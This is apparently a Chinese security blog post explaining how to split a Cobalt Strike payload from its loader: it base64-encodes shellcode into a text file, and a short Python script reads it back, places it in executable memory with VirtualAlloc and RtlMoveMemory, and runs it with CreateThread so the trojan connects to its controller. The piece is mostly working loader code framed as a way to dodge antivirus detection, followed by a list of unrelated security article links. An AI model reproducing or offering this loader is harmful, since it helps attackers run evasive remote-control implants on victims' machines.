无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
网络研究院3 小时前
网络安全和基础设施安全局 (CISA) 表示微分段不再是可选的
网络·安全·web安全·零信任·微分段
小云数据库服务专线5 小时前
GaussDB 数据库架构师修炼(十三)安全管理(5)-全密态数据库
安全·数据库架构·gaussdb
柑木6 小时前
密码学-基础理论-DiffieHellman密钥交换
后端·安全
wanhengidc12 小时前
当云手机出现卡顿怎么办?
运维·服务器·安全·智能手机
athink_cn20 小时前
HTTP/2新型漏洞“MadeYouReset“曝光:可发动大规模DoS攻击
网络·网络协议·安全·http·网络安全
zzc92121 小时前
TLSv1.2协议与TCP/UDP协议传输数据内容差异
网络·测试工具·安全·wireshark·ssl·密钥·tlsv1.2
huluang1 天前
医院网络安全重保行动方案
网络·安全
九州ip动态1 天前
如何安全使用改IP软件更改异地IP地址?
网络·tcp/ip·安全
杭州泽沃电子科技有限公司1 天前
告别翻山越岭!智能监拍远程守护输电线路安全
运维·人工智能·科技·安全
wha the fuck4041 天前
攻防世界—unseping(反序列化)
安全·序列化和反序列化